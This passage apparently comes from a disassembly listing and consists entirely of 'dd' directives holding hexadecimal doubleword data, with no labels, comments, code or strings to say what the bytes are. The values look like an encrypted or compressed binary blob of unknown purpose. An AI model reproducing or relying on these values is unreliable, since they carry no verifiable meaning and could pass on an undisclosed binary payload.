		dd 559A1E7Dh, 0B491BBB5h, 1C4676D6h, 37CF6B00h,	0D20927C4h
		dd 88778025h, 7381856Ah, 29071F10h, 0BA329DDCh,	5C02CFAh
		dd 142039DCh, 22B6505Ch, 0D040C604h, 2BADEF96h,	80DBC2E0h
		dd 8C1244E8h, 87FA5F00h, 41550EC8h, 52631FDEh, 28440154h
		dd 20C2A3E7h, 194205A7h, 0C09E3F58h, 0D0720270h, 0A20148F4h
		dd 627FBDCh, 86296A55h,	0C0E803BCh, 0D9B574C2h,	66DD0B1Fh
		dd 4141ECEFh, 66629605h, 9F457F05h, 6A5A29B7h, 0F31B00AFh
		dd 34C47631h, 0BD851629h, 9DED330h, 4826B7EDh, 92AD2DB3h
		dd 9940202h, 0BEDFD313h, 2239BD08h, 71087388h, 3909217Dh
		dd 2409BC7Bh, 28740CDh,	18531FEh, 0FA79AB6Ah, 17E18CE4h
		dd 0DFC55Bh, 20A38DCDh,	691EF57Bh, 7D1301BDh, 0F5743C0h
		dd 62EEBC82h, 28D8EBB2h, 2432D520h, 0C26C8E0Fh,	2DD92084h
		dd 1DD1DEA9h, 5E001E18h, 591EDECh, 5B90DDDBh, 7F524B4Eh
		dd 40D5EFDDh, 0A2F54A19h, 0D91B4700h, 0BEC77D3Fh, 0C0F93FA4h
		dd 0A3BD8305h, 2159B20Eh, 1918F927h, 95685C4h, 4BE914C4h
		dd 0C77CCDE4h, 528D68D6h, 0C193B41h, 0AD34E901h, 33869817h
		dd 9F145BDh, 16A5C221h,	0B5F7FA18h, 55EF6500h, 49CC4E28h
		dd 0A25720Ah, 508F591h,	94611D2Bh, 0EB97EA9Dh, 9EC0249Ah
		dd 11E0DF74h, 4C5F7048h, 0E01DC79h, 1786FB1Dh, 4AFCFDFDh
		dd 18A4023Fh, 220FD621h, 37A747D9h, 0A97500D3h,	4A67F056h
		dd 6DB6F312h, 8A2DA21Eh, 0D108F168h, 69112D20h,	0ECDB6D83h
		dd 9A640742h, 2134A9B3h, 6CD0A4F7h, 3BEF5E7Bh, 13142351h
		dd 0F78501E9h, 7390568Fh, 29B71EB9h, 0DDE124C1h, 99627B6Eh
		dd 236E3A5Ah, 0FE4D1C14h, 7018EE80h, 0E95F62F0h, 0F545F963h
		dd 0BD2B80B0h, 57055B9Dh, 0AC90BF66h, 423EF0h, 25C354A7h
		dd 0EB129031h, 0B5788BE2h, 5F164E9Ch, 0A48079C5h, 41A59D01h
		dd 257E6921h, 0BF132483h, 51D74D81h, 29815868h,	7D0419BDh
		dd 3FD199Ah, 0A728C30Dh, 57202B8Eh, 8D792C84h, 0A8F9700h
		dd 193DA073h, 0B51C0576h, 0A1F288FCh, 4C253C53h, 22891608h
		dd 0D33A0194h, 17011523h, 19D893Eh, 93263D68h, 67130F7Eh
		dd 9078CBF4h, 0DF12D39h, 381775BAh, 8B801B11h, 0EEF8AC14h
		dd 5BBC5E38h, 355A8A29h, 8AD74CAh, 0B01723B1h, 803D9BBFh
		dd 997DF1AEh, 0BE0B04E0h, 0C8E8F59Ah, 2B00133Dh, 3CEC9F3Fh
		dd 249E38DFh, 160BE2FDh, 0F32409F2h, 0AC822D09h, 0C50E2E81h
		dd 18D51995h, 6E9B2113h, 0E89CDA80h, 0BC9869B9h, 75B52312h
		dd 0B3972756h, 233E0214h, 9A340018h, 0E8DB87A3h, 1A1B0E60h
		dd 3EEBD7h, 1E35782Bh, 0B0A9C742h, 7FE4924h, 18315908h
		dd 0A85F05Fh, 0FAA88891h, 4877EF38h, 5E8CA82h, 0F0CC2700h
		dd 5C25165Dh, 4910A956h, 5F5E120Dh, 0D26F8A16h,	0C79C4704h
		dd 0EE909593h, 66B051B6h, 0E0C5E1D3h, 0D9B23051h, 0AC26AE51h
		dd 0A5E94F0h, 0C7A47C07h, 9F54932Bh, 3361DB81h,	77975802h
		dd 86891411h, 2D99D902h, 7F91FFD9h, 34CB6028h, 82C5099Dh
		dd 9F1615Ch, 0E17852Ch,	0C0CF98EFh, 4E86B000h, 0D3D7B2A2h
		dd 2CF8B680h, 4C021154h, 0E1445A86h, 26410148h,	1525F220h
		dd 1335CEA2h, 0F6F6FA23h, 0E9ED14B0h, 5222570Eh, 0FD7B2BDh
		dd 95988640h, 0DDDE00D3h, 8D726135h, 1B006FA2h,	0EB83C1A1h
		dd 162DE681h, 6336B585h, 0D1CA0364h, 5B56C270h,	66FCF2BEh
		dd 90A6010Ah, 4A05C6B1h, 0A3273069h, 0B70F2109h, 0BD6701F0h
		dd 0D25216C5h, 0E1D2F5C3h, 97000DE8h, 0DE3CDD0Fh, 3A904D70h
		dd 7D0C371Eh, 19A8C15Dh, 19D8B5D6h, 0F0F4B369h,	0F500D617h
		dd 72B62E66h, 90B7CC7Ch, 26DE04D8h, 400CE9BCh, 0CDF8E159h
		dd 0F32400B9h, 2BDAA768h, 4D5EE904h, 897AFAh, 3C71A12Bh
		dd 5C2A2E92h, 0FF050F90h, 0FE673949h, 1DF26BB6h, 1F173C74h
		dd 4BC7688Ch, 0B915C885h, 0F9709E1Ah, 74FBF766h, 0C18F85Bh
		dd 881519BEh, 7F9D1095h, 2B5B58ACh, 0C01CC803h,	3BF345E1h
		dd 0FA05B605h, 3FC26C15h, 0D3F9CA91h, 58C7A3F7h, 0DF0075C0h
		dd 28DB2A7Bh, 2C9D31C4h, 72F425CDh, 1050DC73h, 0C6712CEBh
		dd 0F2BEC0EFh, 0E26DAB1h, 2C114390h, 41FDE040h,	16202B28h
		dd 7A0B26E1h, 77C40054h, 0D943E788h, 1A013B97h,	32E06A11h
		dd 0B420D8EFh, 3100F3A1h, 0FE94C195h, 9C835E12h, 0F3083C51h
		dd 312AC65Ch, 0FAA598A0h, 810F802Dh, 0BE00E2B9h, 57136956h
		dd 5EBFF860h, 0A22C20D3h, 0A572DD8Eh, 0F5488A05h, 97C4615Ah
		dd 3ADB3984h, 921F1CC0h, 81025E51h, 9EB5DAEEh, 71E76236h
		dd 0C5103D2Fh, 0C0D7480Dh, 5B23C443h, 0B11C0B52h, 0C7BD81BAh
		dd 1AC5F400h, 0FE08C77Bh, 0B15809BEh, 4E44515Dh, 0D4FD3000h
		dd 61626FD3h, 1BEE21h, 17A79B1Fh, 0F779E638h, 0DFC67424h
		dd 0E9DA13DEh, 1A17F1C0h, 9F21C062h, 143D5A9Eh,	0C9318D9Bh
		dd 80566A1Fh, 8E5ED681h, 5F7C378Bh, 7212BE7Fh, 0D0C7B960h
		dd 21E78A20h, 17A5278Dh, 1791181Dh, 0E55B5D87h,	1CD03036h
		dd 0D402E703h, 0F30223DDh, 322710Eh, 2D50EA48h,	951452E8h
		dd 0B0A3700h, 87BEEE18h, 92A6FDCCh, 4B2E2779h, 0EDA428B7h
		dd 0F8E9E413h, 0BD090202h, 6234CA39h, 0FC67203Bh, 9801E183h
		dd 0F2224346h, 89173014h, 153594C8h, 1276508Bh,	0E22175B5h
		dd 89042053h, 0BA12053Dh, 3E63C780h, 61B36061h,	7C4DF378h
		dd 0AD5B27E1h, 8D1328F6h, 0B330048h, 0E4F5D78Ah, 6E089776h
		dd 0C32964F8h, 0AF3E1A72h, 832CA095h, 2DBAB9h, 35E5850Bh
		dd 25B90CA0h, 16D8BD97h, 0CAB10F1Ch, 0BBA248AEh, 0A08D8018h
		dd 88394F6Eh, 0F19EC01Ch, 4E01B8CDh, 6953755Ch,	206A800Fh
		dd 228D8591h, 0F8940094h, 1242CEC7h, 8BA0CAF7h,	0E7FC32D7h
		dd 80C62F09h, 8065D96Eh, 93BD981Eh, 6700DC8Eh, 0CD8A30F6h
		dd 28273F43h, 0E1CDABDAh, 8B5A5B10h, 0F2ECAFA6h, 0ACD08012h
		dd 0A1001D2Dh, 90AD61D6h, 6DDC801Dh, 0ED188211h, 3A14ACBBh
		dd 72DA08CBh, 0B8B65EB2h, 5D9303DCh, 4DF57707h,	912750BEh
		dd 91501D0Ah, 78F78019h, 4ECC3621h, 280088D1h, 0DF8A2A02h
		dd 0AB8B2926h, 67645Ah,	0CA461D7Bh, 4B89ECBAh, 0E0E37E07h
		dd 0BD71C0F5h, 0B5272EE9h, 9217FF5Eh, 7581B0DBh, 60BCF94Ah
		dd 0D404DC7h, 0E47EA78Bh, 0CCEA6018h, 0CEA42C25h, 50E11B3h
		dd 35BD0B60h, 8FF52AF1h, 612A19B8h, 50084468h, 12F73398h
		dd 5C20625Fh, 0E300DCC7h, 0A3CA39EAh, 74BA3837h, 95085CF5h
		dd 0BC18509h, 51562A3Ah, 0BD7F00DCh, 81ABE7A0h,	0E7A4E87Dh
		dd 682A1602h, 4062B174h, 2083242h, 29B69F89h, 80E94195h
		dd 0D538205Eh, 0E23A33FFh, 2ECE3015h, 0A595031Ah, 0A1DE4155h
		dd 0D45E0DB5h, 0E281A68Ch, 69C14196h, 8509C750h, 0F95D92D9h
		dd 0D0D15D4Fh, 0AEBEB7C0h, 0D4FAE12Dh, 448B0F27h, 0C99512EBh
		dd 0C797220h, 359D8921h, 310C6E7Ch, 8B87718Dh, 338877AAh
		dd 14FFAC27h, 2BC92727h, 0D2DA9ADBh, 20C59320h,	2BAD20EDh
		dd 0F7475BA2h, 17601444h
		dd 0C877D9BEh, 85C75612h, 135B36DDh, 297754C0h,	3344098Dh
		dd 2EA934B5h, 0C09D9BADh, 0A32F49B3h, 160F180Ah, 0E99D4AEBh
		dd 912B9FB5h, 0ABDB8515h, 163A9EB1h, 0E0BAA61Eh, 0C3F6118h
		dd 75E9C18Bh, 0F4BD601Bh, 45356459h, 0E6FB016Ah, 7E7A08ADh
		dd 818A41Eh, 8B002CE1h,	0CEFC1FEh, 43CC668h, 2E4A220h
		dd 0D4A577Ah, 95FF2181h, 32E91A41h, 19F9FDC2h, 0C530DF40h
		dd 2E1180A9h, 591C3FA7h, 957D0E28h, 6A500CC6h, 5605347Ch
		dd 6112006Eh, 6E0C1C3h,	3AEE605Fh, 7192331h, 505C01CAh
		dd 0BE668D0Dh, 0D7A4432Fh, 38904D9Dh, 0AFDAEFD7h, 2E043884h
		dd 926BFB5Fh, 20334D24h, 3327E1A8h, 0BAAD9FB0h,	0E5BD8B16h
		dd 0FCAF7AE1h, 82E5B5FFh, 8C4DB4DCh, 0AB031E59h, 0EA6B4BC4h
		dd 5F060D2h, 1ED70197h,	0A485B9CCh, 318530AEh, 0BD9232BEh
		dd 0F7E8DCE4h, 885B4F2Ch, 4202B5C6h, 0F3E4BF2Ch, 35AB82A8h
		dd 4A5BFF22h, 16B25478h, 44FCE869h, 0C4B966DDh,	763940CBh
		dd 4A27EF47h, 31D9B320h, 0E1A105A1h, 7A2E08h, 3800EC3Eh
		dd 8D9E48A0h, 0F5493EF6h, 0BD242FD3h, 4E9A0057h, 638A266Eh
		dd 819F5E00h, 3E9CC1DEh, 88E83576h, 9A2B3h, 0F95F61B8h
		dd 9D06BBFh, 3ACEE1D7h,	1BB12B02h, 20965906h, 0B7D0CFDh
		dd 0FCBBED70h, 37716A80h, 4733C6h, 63FC1642h, 0E80EEEA8h
		dd 89754E61h, 3B8CB5BDh, 0C556F08Bh, 36DE2F4Bh,	0CFE8E280h
		dd 37579CAh, 2E081A2Ch,	0AEF106F6h, 98C88B66h, 56CD0559h
		dd 0D7D9F1CCh, 4E01202Eh, 19009FD2h, 1142F860h,	16F66362h
		dd 3E07C2E8h, 0F172331h, 6D2D8251h, 225C9AEh, 89D960h
		dd 73DED1FDh, 0F602BB34h, 0A26F932Ch, 0BF6C209h, 526425h
		dd 0CEF703ACh, 1EE7DD70h, 8017DC38h, 572732A8h,	9DFF1A0h
		dd 768E861h, 0F202ECCCh, 0EC499EACh, 1E277946h,	5FCEC082h
		dd 0F7EF570Ch, 71239A49h, 137A2E4Ah, 1FD4538h, 701E6EE6h
		dd 0A820E830h, 25205891h, 1D68CB2Dh, 5F37A1ABh,	0F3E89282h
		dd 112D8206h, 35311103h, 0F090264Fh, 4CB80A32h,	9107A55h
		dd 0BDE80B0Ch, 0D0AB5B06h, 0FC00E5DAh, 2A4253D8h, 7AFEE3DCh
		dd 0B0196280h, 654F0A0Dh, 0E152E762h, 5642D164h, 0B70F2167h
		dd 0ED628BF7h, 0D0BE5309h, 0BF1CD5A5h, 25D6AF1Fh, 2085D301h
		dd 8A4F33E8h, 0EDC719C8h, 0D0A927E0h, 97A4DE85h, 0C83C8E06h
		dd 8893C017h, 0AF9197B3h, 0E44F2080h, 0EF14443h, 23061DBBh
		dd 0BD0B3E60h, 96A82941h, 3EE105D1h, 6500A26Fh,	2EB03871h
		dd 0DB27B18h, 14B02D47h, 470031F2h, 869A29E0h, 950D9589h
		dd 0CDBDFDA1h, 9D0D8621h, 45C518B5h, 0BD2E886Fh, 0E9858411h
		dd 0A09BB718h, 2F1844Ah, 1CE53AFBh, 8D188E0Fh, 0B9174081h
		dd 4EE4971Fh, 52BE885h,	1B88B68Fh, 0E92A71C0h, 0BC720CF6h
		dd 0E5C2C654h, 571B3325h, 2BC0D86Dh, 38E00C7Ah,	0AF49B084h
		dd 3A043BBCh, 329DB529h, 0E69648B8h, 0D9F5E1FAh, 20BDD620h
		dd 595E2BB9h, 842642C9h, 0FE798EF2h, 82C72500h,	9D73FEFDh
		dd 0AD089300h, 0C9ADC38Bh, 0AEC00AE7h, 7F32E9CEh, 2EFCA97Eh
		dd 126D267Bh, 0C424A525h, 0B7B7976Ch, 0B501F201h, 353A0BA9h
		dd 0A18CA63Ch, 167E506Dh, 80819BA5h, 0F562BB50h, 8379094Ah
		dd 59DBE163h, 7135A5h, 2AB32DA0h, 0F1CBE63h, 30250C86h
		dd 5C5A999h, 0E3853EBDh, 0E829ECB1h, 0E6018C1Ah, 0DFF242CBh
		dd 947431DEh, 1995168Dh, 0A090E715h, 735889DBh,	0E61A4AA7h
		dd 2CACE12Ah, 33B78F4h,	9B6E7C5h, 230F0FE8h, 1B585Dh, 88268C4Eh
		dd 1DC303CCh, 0AACFC89Eh, 0FD429C2Fh, 0B6001337h, 802F507Ch
		dd 0CE5813EAh, 0E4901273h, 611CBEC3h, 92EAFB72h, 0EB61AE9Fh
		dd 1A529135h, 8B122D74h, 9BE68C4Ah, 0F042DDE1h,	0E7054C96h
		dd 0CA3C8997h, 1434C5CCh, 0D89CBADAh, 0E6B1F03Bh, 10283594h
		dd 842E199Dh, 4CDCB6BCh, 0C6280991h, 0B0CBD392h, 17832560h
		dd 0DE2D4970h, 96338A49h, 542F490Ah, 617E2448h,	0F8509F10h
		dd 8598895Fh, 80BF3D18h, 109E35F8h, 0FC178096h,	0E3CC8A0Fh
		dd 0A2AAD2CAh, 34DC5B4Bh, 0AE950075h, 4D20C59Ah, 6FE043C0h
		dd 2A54969h, 901221E5h,	810E29A1h, 18F9DC23h, 0F9B485ACh
		dd 0E8F901D4h, 0CAD46E0Ch, 0AD5E20F0h, 0D3451E49h, 0FF008A6Bh
		dd 30ECF368h, 0BD132360h, 2CE21525h, 0B561807Bh, 0C9D21F62h
		dd 60C0CF09h, 94953B28h, 10629048h, 7C481F91h, 0C00886C7h
		dd 9A7993D6h, 0D3FF95A2h, 0EDAB58D9h, 8E966600h, 0CBF3D589h
		dd 0DE92219h, 0AD83031Fh, 2578BBC0h, 0F3B818h, 81B9943Ch
		dd 0AF0CF5C9h, 60AA3154h, 6158F6BFh, 7291D95h, 0C0B384C5h
		dd 64C5693Bh, 2820454h,	5305CD9Ah, 0ADB0D001h, 7A9A750Fh
		dd 0C4B929C5h, 455A0052h, 0DE55DD3Eh, 1C179FAFh, 2DB1AC8Ch
		dd 0A17BBB54h, 0B2D69A00h, 0AA9DF4E3h, 0EB37FC17h, 0E017B04h
		dd 0AE72398Dh, 0F8D12F01h, 0EC12AE5Dh, 3612434Eh, 231FDE6Eh
		dd 697C2350h, 3B4D2FC0h, 89D1C0C0h, 31B129BDh, 830F04A8h
		dd 52E8490Dh, 0C7083EE5h, 60DD8D81h, 3D6A5961h,	0FDBCF8h
		dd 0F35030FCh, 690C39D4h, 0A4CE8102h, 0C002A23Eh, 0A221D50Fh
		dd 0E1004047h, 0D298B726h, 94404FC9h, 9F0B973Dh, 6064EDFFh
		dd 0B563B7ADh, 0BF0FD90Fh, 31F637F2h, 8AD90DE3h, 326E2BC5h
		dd 0FF696700h, 0B188AE33h, 3B3BB45Bh, 33011923h, 0A563E768h
		dd 0BE681D8h, 5E576F22h, 0FF4BF66Fh, 3844436Dh,	27755C2Fh
		dd 483D11h, 10909F53h, 88806E9h, 9DAE0DEEh, 7BCE802Ch
		dd 0BD011430h, 0E93B6F1h, 5B295090h, 1C2DD955h,	0E39300F7h
		dd 7081F4E7h, 98DCB634h, 0F2B810E9h, 9095D970h,	18F522h
		dd 0CEB84DA8h, 0E3A54313h, 16239104h, 48A1F98Bh, 0C0F70136h
		dd 0A996795h, 0F2FB8B30h, 491F2BF9h, 48BC6707h,	1F806B5Fh
		dd 0BA6050h, 2AF7D2A4h,	30681EBBh, 6FA3414Eh, 80D69A5Ah
		dd 0F59B0551h, 0BAE20989h, 0EA01D454h, 7FF20EDFh, 67006DE9h
		dd 62EC2544h, 5600C630h, 13A8F47h, 0D263842Ch, 0A55C047Ah
		dd 479B2414h, 0D1B63FC0h, 0B50953C1h, 82771AC9h, 75241139h
		dd 369B2D16h, 768B858h,	0D0A33DF2h, 1B8D97FFh, 8103FADAh
		dd 766F7EE3h, 0FD1F178h, 89D9D4E6h, 7355DC8Ah, 0FC899075h
		dd 0DD018C1Ah, 886F599Dh, 0C9736ACFh, 0A3121800h, 2EBAFC7Fh
		dd 0E05C200h, 2F03A488h, 87DE013Dh, 6A7A5DACh, 0FE953002h
		dd 12ED905Ch, 0A03050D9h, 14D103Bh, 0BA1C6DB0h,	8539BDCEh
		dd 0A90FBF28h, 9DDA505h, 1DE8D9FDh, 830CEB1Fh, 58D2B180h
		dd 0DC8B0F26h, 0CBE90523h, 0B186F80Dh, 0EA042C03h, 9D8B2502h
		dd 14C95271h, 0C6920285h, 4BD19037h, 0D27017F3h, 36260062h
		dd 9BA9302Bh, 0FF914D59h, 0FECFBA9Fh, 0B1D4E08Ah, 12F11EC2h
		dd 0BCD5874Dh, 14AD8011h, 396EA19Eh, 7A002917h,	0A587DD50h
		dd 55955F3Fh, 23FEB092h, 0EFD1FDEh, 0C4781FB0h,	0AACC9714h
		dd 9BD2D0ACh, 0B72080BCh, 5A1B2FCh, 0E0B491BAh,	0D759FC9Ch
		dd 62A61320h, 0AA9707B2h, 50F561AEh, 9D60A4C7h,	0BFF6A0Bh
		dd 0BAC44BBDh, 816954B5h, 30FD77BBh, 44347E6Fh,	0E44B17ABh
		dd 45319590h, 14C6F2Fh,	0AE0BFE04h, 2DD224h, 5E56D4BFh
		dd 2B70E602h, 95BBD71h,	2D2EF2D6h, 0D0E634A1h, 0B0012727h
		dd 0E4BC23h, 0B075231Eh, 0C8B60F25h, 94805A99h,	698A042Fh
		dd 0A3370044h, 0F87342D2h, 6F5AEF9Fh, 82FC4325h, 0C18BEB60h
		dd 927B531h
		dd 51FA9128h, 80A274CEh, 5A382B7Eh, 1C0E7517h, 39958962h
		dd 0D0C65FEFh, 0C8314B0Ah, 0C8482B08h, 81DA00D4h, 53B62ED7h
		dd 0F08B4E22h, 1B637523h, 12699D7Bh, 0E21CE977h, 0DE5F7DACh
		dd 0C7608A27h, 1FB36335h, 81F44E80h, 89431738h,	2064E170h
		dd 8B2761F1h, 8183A085h, 2C263FE7h, 2525317Fh, 62EA4818h
		dd 4C9D8E05h, 0EFD6FDB4h, 52ADC85h, 0AD03BF8h, 34931BFh
		dd 8959D29h, 38E82626h,	0C5061740h, 67BD03C4h, 813BF4F1h
		dd 0C8FCC989h, 590B56F6h, 7B45E961h, 80F89F98h,	8F6D35F1h
		dd 814EE1E0h, 2B307F8Dh, 8C0C4E09h, 22458430h, 12591E88h
		dd 281BA594h, 0AC1683FEh, 7898938h, 13B5B102h, 498D4F84h
		dd 6E028CCBh, 57814A9Dh, 19E36F62h, 0D787A5Bh, 0A752172Fh
		dd 0DF64BCCh, 9C85A1A0h, 6B829D00h, 44B9AF35h, 0F16DE108h
		dd 6D50CABCh, 3441719Eh, 85FB3242h, 7BDBFCB0h, 64E492C0h
		dd 0D0A138D4h, 31B31002h, 91B79FFCh, 3013F31Dh,	0A40828E0h
		dd 358D20E0h, 0BFDB2B4Bh, 72E633C0h, 0B4144DCCh, 568F0Fh
		dd 0D22BFA8Bh, 3033ADF8h, 0D05AD1C2h, 417E983h,	0C0A6F475h
		dd 0A17A3EE0h, 0BBCD7201h, 880DF8C9h, 4CD21A7h,	0D20030C7h
		dd 180A731h, 958B16DBh,	291B29B5h, 14E8BC31h, 0B002B7EEh
		dd 50235510h, 7FF5F5C2h, 3C133ECh, 0F5CE62AAh, 103304Eh
		dd 1C5F1240h, 86C28B50h, 8C10318h, 0A2ACD2F1h, 334C5819h
		dd 6130372Fh, 7B23E562h, 0FB7BD0B5h, 6F52B403h,	581DB529h
		dd 6522D24Dh, 6BD74195h, 0C09B9E2Eh, 73ADCEAAh,	50BB3966h
		dd 18D0F8Ch, 0B870F523h, 398880B1h, 4D8D1C24h, 2ADC4F89h
		dd 0DB01146Eh, 90D17753h, 0E18D3B72h, 0E1FFD340h, 0F3E71FBFh
		dd 0CDF0F1BCh, 0D5EA0C18h, 16BC066Dh, 202A4352h, 0BFDB4401h
		dd 0AD233D0Ah, 0C24F1263h, 2A93860Fh, 14A10823h, 0F8C0601Dh
		dd 1631C381h, 84465FB9h, 0B8B4AD6Eh, 9C90916h, 2A1F9BDh
		dd 7D04E180h, 0E6E2B8F4h, 8B0B043Bh, 0E2626808h, 7711005Ah
		dd 0FE9983CFh, 80C9500Ah, 8862B90Bh, 0B12605D5h, 0CF30E50Bh
		dd 33A44020h, 45D45585h, 55212CA8h, 722E9162h, 0EBD0928Eh
		dd 24AFA844h, 3132C15Eh, 34213F09h, 0CEF44768h,	8B0F1A7Fh
		dd 5E806F04h, 3481FCFAh, 18B82404h, 8FF67FD1h, 10B764E0h
		dd 5C9E4918h, 0D322D58Fh, 1D741283h, 0F97FB96h,	0C8592587h
		dd 0A1005139h, 5841E9Fh, 12223E50h, 0A090D873h,	4026C3DEh
		dd 0C805F93Bh, 979E1EABh, 4BFE8580h, 3C02B9F5h,	0B5E96C1Ah
		dd 0D0A95301h, 0E701BBF3h, 7A36679Ch, 0F0601469h, 1791208Dh
		dd 0A5C08381h, 0E068CDB2h, 71BBF427h, 21A5CF13h, 0B20053E2h
		dd 9B441D41h, 0B572526Ah, 0F054A603h, 0B19ED355h, 18C1C7A8h
		dd 25FF217Bh, 0B595882Ah, 83ED6BC4h, 0F6B1A040h, 49DEC40Ah
		dd 4E89501h, 7113981h, 68561F8h, 16F217A2h, 49C8E930h
		dd 0B96A350h, 0CEC8E1BFh, 31120446h, 844E61B5h,	44522950h
		dd 0DF36005Dh, 24064432h, 314B0FC6h, 8292F020h,	0D872001Ah
		dd 0CB4E6179h, 0B72571EAh, 18C44497h, 87D4E3D2h, 7500457Bh
		dd 0F3B4BAC2h, 245F2D78h, 28875A5Bh, 870F919Ah,	0E0422A50h
		dd 0D781F753h, 0E12B3F02h, 44B5FF65h, 95B79502h, 8129350Ah
		dd 741B2925h, 646801F8h, 0E004754Bh, 4F496DBFh,	489B0FE3h
		dd 92C2776Ah, 8C8D0423h, 31CB39Dh, 0DF6C6050h, 5A887460h
		dd 2B681287h, 0DB29C85Bh, 80C9F53Eh, 44F1570Eh,	0D8A4FFh
		dd 9C172B6Bh, 611558B7h, 2AF08A2Dh, 72257F35h, 95FBAC99h
		dd 0B62EC181h, 0F1852661h, 207FC8C7h, 0B079595Dh, 91FAF900h
		dd 0D224874h, 5A0301A1h, 61393360h, 9875EA8Eh, 807543h
		dd 2EF1E1F0h, 0C75F30CFh, 0D8558558h, 1639BB27h, 10317889h
		dd 4E939A64h, 0EC112FA0h, 0B3A739F3h, 3726E917h, 2E140Dh
		dd 665D53BFh, 30501273h, 44F40E0Ch, 0E8C10161h,	0E4CEB10h
		dd 124C3FF7h, 3F905803h, 0DD36EBE7h, 6443E036h,	1B63E19Eh
		dd 28293450h, 58180C21h, 57D00113h, 75259C1Bh, 91E0154Dh
		dd 240E141Dh, 5090829h,	0A67AE8CFh, 0EFB2E033h,	0D51D0258h
		dd 0C12CECAFh, 9545A885h, 9438AC2h, 0BD043685h,	0EA4C80F5h
		dd 3D580F6Ch, 0C8CD0109h, 711116D4h, 0B7779504h, 0E64780B6h
		dd 0C109A45Eh, 44285B1Ch, 0CA27AB66h, 0C8254114h, 0C09A1A0Dh
		dd 0B8E6C909h, 19020B01h, 0AE00122Dh, 7A063616h, 0A55DD890h
		dd 239B5B1Bh, 0FCC3C80h, 33B0DEB7h, 0DC30BC45h,	7C09CDDh
		dd 0E0106C7h, 0BCB1FD53h, 0CA060172h, 4EBD957Ah, 0BFFF30CFh
		dd 42D5BB09h, 23CBA70Ah, 0BD2751E2h, 8018119Bh,	0CF239854h
		dd 0F5E195DFh, 89CCD480h, 1149BD27h, 403961E4h,	0D96895Fh
		dd 56F7A83h, 26F0B22Eh,	0A0111F86h, 89DE8A06h, 429C486h
		dd 3858A2BBh, 4AF8B733h, 0C08F8FEBh, 0F4EFD92h,	9402128Ah
		dd 5FF4B397h, 2264FC2h,	3CC0C283h, 848D381h, 20500B6Ch
		dd 14450060h, 5FC78BACh, 67711E61h, 32CDA0A2h, 9CB8BE0Ch
		dd 8606F675h, 97F3E1E2h, 0C9AB3672h, 0C57F0C48h, 0F95EF9ACh
		dd 5B9A6874h, 0E5161DC0h, 944BD460h, 3173C2h, 3791BB96h
		dd 506DB11Dh, 70427BE5h, 0EB000133h, 95BCE930h,	108B05EFh
		dd 142D799Dh, 8568F8B7h, 0ADB2830Fh, 30AD9D08h,	77034142h
		dd 990FDEBDh, 55019D85h, 0B07DBEA4h, 21317030h,	6E1C1B24h
		dd 181BF121h, 2288014Ch, 4B9CEBCDh, 8D0C3083h, 0BF0FA6A8h
		dd 6096FF00h, 0A2267B8h, 12667648h, 0C161FC0Bh,	3E96D974h
		dd 6180EADBh, 2B3AD99Ch, 4B84A43Fh, 2750501Eh, 0AFE18864h
		dd 0B741F0A9h, 8BB1DA77h, 35A63554h, 0B8442D40h, 86F7012Bh
		dd 0C8D1DFEBh, 814C48A8h, 8B39E739h, 75095EACh,	0AE1B6D84h
		dd 0BDD638A9h, 7EF4A95Dh, 0D8F84806h, 210D6916h, 228F1A6h
		dd 5E044102h, 0C0BEDE3Fh, 0E3569A99h, 0B3BD1278h, 12641FBAh
		dd 7D99D320h, 880A9284h, 0DF625076h, 803BB7C6h,	3122840Dh
		dd 3C2D2397h, 928E50A4h, 0ED26D20Ch, 21FE8A4h, 7088DAF2h
		dd 1162FF37h, 64E89444h, 39F7F37Ah, 0B8B8AAh, 103A9CACh
		dd 7ADABBB2h, 8B7D0809h, 70725BC1h, 0B3024E19h,	94C68E1Dh
		dd 0DBBB414Bh, 0E6206A61h, 9E8D27EBh, 0CDA7D9DBh, 58B54172h
		dd 7E8AD003h, 0DADB2C12h, 802B02A0h, 1360E890h,	737B7631h
		dd 0BFC50043h, 0A46EDCC7h, 0A3015999h, 4CBEE58Ch, 7A30698Fh
		dd 0F2408A04h, 5F25E410h, 1E8C6450h, 0A8541Eh, 0EC70B744h
		dd 74005CFFh, 0F145EF55h, 0F0BD6BCAh, 6E904EB4h, 0C5160679h
		dd 20C8A954h, 0FCBC2C3Dh, 9510B340h, 0BA5099Bh,	0B4F63ACDh
		dd 50C9BB40h, 0B57F2432h, 669A00BDh, 0E4A52A05h, 906A2104h
		dd 79870135h, 0F15B12B8h, 1C6E6A30h, 0DB6AB716h, 40CEC067h
		dd 95F5F328h, 32D9DE38h, 0F4A3B9Ch, 1F3BF704h, 0A8A6FBEh
		dd 0B72DDBF5h, 12C6E404h, 0F1F61BCh, 845013B7h,	98A0E23h
		dd 0B26B3B3h, 0F1F4D9E7h, 601AB0B8h, 7937B533h,	0EB6F121Ah
		dd 615924C1h, 9C20ABCh,	0B658CD8Dh, 7EED9A95h, 0C25DC20h
		dd 59D240FFh, 15C8234h,	33AD8651h, 0EBC038CDh, 17E871B5h
		dd 0C2B31E34h, 76092B70h, 16CA2257h, 2179BD03h,	0C0BB0233h
		dd 1C5D84DAh, 419DC2DDh, 0C050050Dh, 3255B8D3h,	612F5176h
		dd 0F982595Eh, 1CA81819h, 139D7A02h, 49234539h,	0BBBBD82Fh
		dd 148D1501h, 0E76E97Fh, 1FE2C2Eh, 9293C40h, 1B33F1B5h
		dd 0B7E297EDh, 68185EA7h
		dd 0BF02D66Bh, 0B0A7EE33h, 0BB998087h, 4FB11858h, 0C572C124h
		dd 66900211h, 0C7BB0004h, 0B0E3CEC8h, 0B773D5A3h, 0F80980BEh
		dd 0DCF1FC90h, 67FB1C12h, 0BB2B2AF5h, 0B100FA7Ah, 0E6E27DD0h
		dd 6474CE43h, 0D84BE990h, 0F9492DCAh, 0A300F7ACh, 6A4A8C12h
		dd 73A8898Bh, 658D2657h, 1377A86Ch, 0FD1C0995h,	8E6D393h
		dd 0A0DC21E0h, 0F81BCC2Dh, 6B36099Ah, 2856FF6Ah, 603005DCh
		dd 0C1D88AA9h, 7705A1B2h, 0D0CB0DBh, 0C7C505DBh, 9209D8E2h
		dd 7F5E0E19h, 20096D51h, 108325B2h, 252C312Eh, 81F2C0B0h
		dd 0A8E602E3h, 0B6D9D03h, 70CA6E6Bh, 22264B40h,	4271E427h
		dd 91885C9Ah, 3B745C3Fh, 0CB52DB45h, 642C85E1h,	0F706BA16h
		dd 11DD00BFh, 2A64126Bh, 0AFB1B16Eh, 0C20F7273h, 0E551A17Eh
